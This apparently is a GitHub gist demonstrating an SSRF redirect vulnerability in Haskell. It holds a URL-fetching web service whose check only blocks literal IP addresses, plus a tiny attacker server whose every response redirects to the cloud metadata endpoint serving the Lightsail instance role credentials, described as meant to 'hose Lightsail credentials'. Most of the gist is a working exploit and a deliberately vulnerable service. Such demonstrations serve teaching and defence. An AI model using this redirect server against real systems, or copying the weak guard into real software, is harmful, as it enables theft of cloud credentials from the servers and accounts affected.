Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Example of a redirect vulnerability
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE PatternSynonyms #-}
import Control.Applicative
import Control.Lens
import Control.Monad
import Data.ByteString (ByteString)
import qualified Data.ByteString.Lazy as BSL
import qualified Data.IORef as IORef
import qualified Data.Map.Strict as M
import Data.Monoid ((<>))
import qualified Data.List as L
import Data.Text (Text)
import qualified Data.Text as T
import qualified Data.Text.Encoding as TE
import qualified Network.HTTP.Types as HTTP
import Network.URI (URI, parseAbsoluteURI, uriToString)
import qualified Network.URI as URI
import qualified Network.Wai as Wai
import qualified Network.Wai.Handler.Warp as Warp
import qualified Network.Wai.Middleware.RequestLogger as Logger
import qualified Network.Wreq as Wreq
import Prelude hiding (lookup)
data Storage = Storage {
insert :: Text -> IO Id
, lookup :: Id -> IO (Maybe Text)
}
newtype Id = Id {
unId :: Text
} deriving (Eq, Ord, Show)
simpleStorage :: IO Storage
simpleStorage = do
ref <- IORef.newIORef M.empty
next <- IORef.newIORef (0 :: Integer)
let
fresh = do
fmap (Id . T.pack . show) . IORef.atomicModifyIORef' next $ \j -> (j+1, j)
ins t = do
idd <- fresh
IORef.atomicModifyIORef' ref $ \m ->
(M.insert idd t m, idd)
lkp i =
fmap (M.lookup i) (IORef.readIORef ref)
pure (Storage ins lkp)
main :: IO ()
main = do
storage <- simpleStorage
Warp.runSettings
(Warp.setPort 8000 Warp.defaultSettings) $
Logger.logStdout $ \req resp ->
application storage req resp
application :: Storage -> Wai.Application
application storage request respond =
case (Wai.requestMethod request, Wai.pathInfo request) of
(POST, ["site"]) ->
sitePost storage request >>= respond
(GET, ["site", uri]) ->
siteGet storage uri >>= respond
_ ->
respond (plain HTTP.status404 [] "Not Found")
sitePost :: Storage -> Wai.Request -> IO Wai.Response
sitePost storage request =
case contentType request of
Just Form -> do
-- Don't do this in production or you'll be DDoSed! Use requestSizeCheck first
body <- Wai.strictRequestBody request
sitePostForm storage (BSL.toStrict body)
_ -> do
pure status400
sitePostForm :: Storage -> ByteString -> IO Wai.Response
sitePostForm storage body = do
let query = HTTP.parseSimpleQuery body
muri = L.lookup "site" query >>= hush . TE.decodeUtf8' >>= parseAbsoluteURI . T.unpack
case muri >>= safeUri of
Just uri -> do
mtxt <- getText uri
case mtxt of
Just txt -> do
i <- insert storage txt
pure (plain HTTP.status201 [(HTTP.hLocation, location i)] "Created")
Nothing ->
pure status400
Nothing ->
pure status400
where
hush = either (const empty) pure
location i = TE.encodeUtf8 ("/site/" <> unId i)
siteGet :: Storage -> Text -> IO Wai.Response
siteGet storage i = do
mtxt <- lookup storage (Id i)
pure (maybe status404 (plain HTTP.status200 []) mtxt)
-- -----------------------------------------------------------------------------
-- XXX WAI helpers
plain :: HTTP.Status -> HTTP.ResponseHeaders -> Text -> Wai.Response
plain status hdrs =
Wai.responseLBS status ((HTTP.hContentType, "text/plain;charset=utf-8"):hdrs) . BSL.fromStrict . TE.encodeUtf8
status400 :: Wai.Response
status400 =
plain HTTP.status400 [] "Bad Request"
status404 :: Wai.Response
status404 =
plain HTTP.status404 [] "Not Found"
pattern GET :: ByteString
pattern GET = "GET"
pattern POST :: ByteString
pattern POST = "POST"
pattern Form :: ByteString
pattern Form = "application/x-www-form-urlencoded"
contentType :: Wai.Request -> Maybe ByteString
contentType req =
L.lookup HTTP.hContentType (Wai.requestHeaders req)
-- -----------------------------------------------------------------------------
-- Scraper
getText :: URI -> IO (Maybe Text)
getText uri = do
response <- Wreq.getWith opts uris
case HTTP.statusCode (response ^. Wreq.responseStatus) of
200 ->
case TE.decodeUtf8' (BSL.toStrict (response ^. Wreq.responseBody)) of
Right txt ->
pure (Just txt)
Left _ ->
pure Nothing
_ ->
pure Nothing
where
uris = uriToString id uri []
opts = Wreq.defaults & Wreq.header "Accept" .~ ["text/plain"]
-- | Make a token effort to avoid pinging our local network.
safeUri :: URI -> Maybe URI
safeUri uri = do
ua <- URI.uriAuthority uri
let rn = URI.uriRegName ua
guard (not (URI.isIPv4address rn))
guard (not (URI.isIPv6address rn))
pure uri
name: redirect
version: 0.1.0.0
synopsis: Client and server to hose Lightsail credentials
homepage: https://github.com/thumphries/
author: Tim Humphries
maintainer: tim@utf8.me
build-type: Simple
cabal-version: >=1.10
executable client
default-language: Haskell2010
hs-source-dirs: main
ghc-options: -Wall -threaded -rtsopts
main-is: client.hs
build-depends:
base >= 4.9 && < 4.11
, bytestring >= 0.10.8 && < 0.11
, containers == 0.5.*
, http-types == 0.9.*
, network == 2.*
, text == 1.2.*
, transformers >= 0.5 && < 0.7
, wai == 3.2.*
, wai-extra == 3.0.*
, warp == 3.2.*
, wreq
executable server
default-language: Haskell2010
hs-source-dirs: main
ghc-options: -Wall -threaded -rtsopts
main-is: server.hs
build-depends:
base >= 4.9 && < 4.11
, bytestring >= 0.10.8 && < 0.11
, containers == 0.5.*
, http-types == 0.9.*
, text == 1.2.*
, transformers >= 0.5 && < 0.7
, wai == 3.2.*
, wai-extra == 3.0.*
, warp == 3.2.*
{-# LANGUAGE OverloadedStrings #-}
import Data.ByteString (ByteString)
import qualified Network.HTTP.Types as HTTP
import qualified Network.Wai as Wai
import qualified Network.Wai.Handler.Warp as Warp
import qualified Network.Wai.Middleware.RequestLogger as Logger
import Prelude
main :: IO ()
main =
Warp.runSettings
(Warp.setPort 8080 Warp.defaultSettings) $
Logger.logStdout $ \req resp ->
application req resp
application :: Wai.Application
application _request respond =
respond $
Wai.responseLBS HTTP.status302 [(HTTP.hLocation, location)] mempty
location :: ByteString
location =
"http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonLightsailInstanceRole"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment